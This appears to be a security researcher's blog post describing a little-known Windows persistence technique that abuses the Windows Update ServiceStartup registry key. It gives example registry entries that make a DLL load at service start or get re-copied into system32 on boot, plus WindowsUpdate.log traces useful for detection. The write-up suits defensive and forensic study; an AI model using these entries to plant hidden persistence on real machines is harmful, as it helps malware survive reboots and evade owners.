Today I’ll describe a little secret – a stealthy autostart key that is not very well-known and is very reliable since it is used by… well… the Windows Update.
Yup, it’s a pretty handy one…
This is the key:
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup
It has two interesting properties:
- It can be used as a persistence mechanism
- It can also mysteriously make files re-appear on the system as the mechanism is used to update files and as such, the entries are being used to copy files during the system start (by the ‘svchost.exe -k netsvcs’ process)
This is an example entry:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\malware.dll "RegistrationFlags"=dword:00000001 "CacheFile"="C:\\test\\malware.dll" "TargetFile"="C:\\WINDOWS\\system32\\malware.dll"
The entry will force the file:
-
C:\test\malware.dll
to be loaded.
It will be also copied to:
-
C:\WINDOWS\system32\malware.dll
Note that you can also simply ignore the copying and drop the file anywhere, and just point ‘CacheFile’ and ‘TargetFile’ to it.
If you look at the first screenshot you will notice the Procmon logs show a reference to the ’20MUIFixUp’ entry.
Interestingly, this entry can be used to just copy files, so adding a reg combo as below:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\malware.dll "20MUIFixUp"=dword:00000001 "CacheFile"="C:\\test\\malware.dll" "TargetFile"="C:\\WINDOWS\\system32\\malware.dll"
will create ‘C:\WINDOWS\system32\malware.dll’ anytime you boot the system (but the file won’t be loaded/executed). The’ 20MUIFixUp’ entry in the Registry will be deleted afterwards (so it needs to be re-created).
Interestingly, the information about the loaded DLLs can be found inside the Windows Update log file:
- c:\WINDOWS\WindowsUpdate.log
Here’s an excerpt:
Misc Registering binary: C:\WINDOWS\system32\regsvr32.exe /s "C:\WINDOWS\system32\malware.dll" Misc FATAL: Self registration of C:\WINDOWS\system32\malware.dll failed, error = 0x8024D007 Setup FATAL: Failed to register C:\WINDOWS\system32\malware.dll: error 0x8024d007 Setup FATAL: ProcessDelayedCopies failed: 0x8024d007 Service FATAL: Failed to fix up registration at service startup: 0x8024d007
My test DLL was not prepared correctly (missing exported ‘DllInstall’ – see below), but the DLL still loads.
At least on Windows XP.
Okay, what about newer versions of Windows?
First, let’s fix my DLL.
To do so, I actually add two exported functions:
- DllInstall, and
- DllRegisterServer.
Why?
Because the ‘RegistrationFlags’ parameter can be equal either to ‘1’ or ‘2’.
If it is 1, the ‘DllInstall’ API will be called. Otherwise, it will be the ‘DllRegisterServer’ API.
When these DLLs are loaded and respective functions are called the Windows Update service logs the appropriate information to the ‘WindowsUpdate.log’ file – let’s have a look at the two examples:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\malware.dll "RegistrationFlags"=dword:00000001 "CacheFile"="C:\\test\\malware.dll" "TargetFile"="C:\\test\\malware.dll"
and
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\malware.dll "RegistrationFlags"=dword:00000002 "CacheFile"="C:\\test\\malware.dll" "TargetFile"="C:\\test\\malware.dll"
When Windows Update service is restarted, you will get the following log entries inside the WindowsUpdate.log:
"RegistrationFlags"=dword:00000001 Misc Registering binary: C:\Windows\system32\regsvr32.exe /s "C:\test\malware.dll" Agent * WU client version 7.6.7600.256 Agent * Base directory: C:\Windows\SoftwareDistribution Agent * Access type: No proxy Agent * Network state: Connected "RegistrationFlags"=dword:00000002 Misc Registering binary: C:\Windows\system32\regsvr32.exe /s /n /i "c:\test\malware.dll" Agent * WU client version 7.6.7600.256 Agent * Base directory: C:\Windows\SoftwareDistribution Agent * Access type: No proxy Agent * Network state: Connected
The trick works like a charm for Windows 7. I don’t see it working on Windows 10 though, but perhaps it has to be triggered some other way.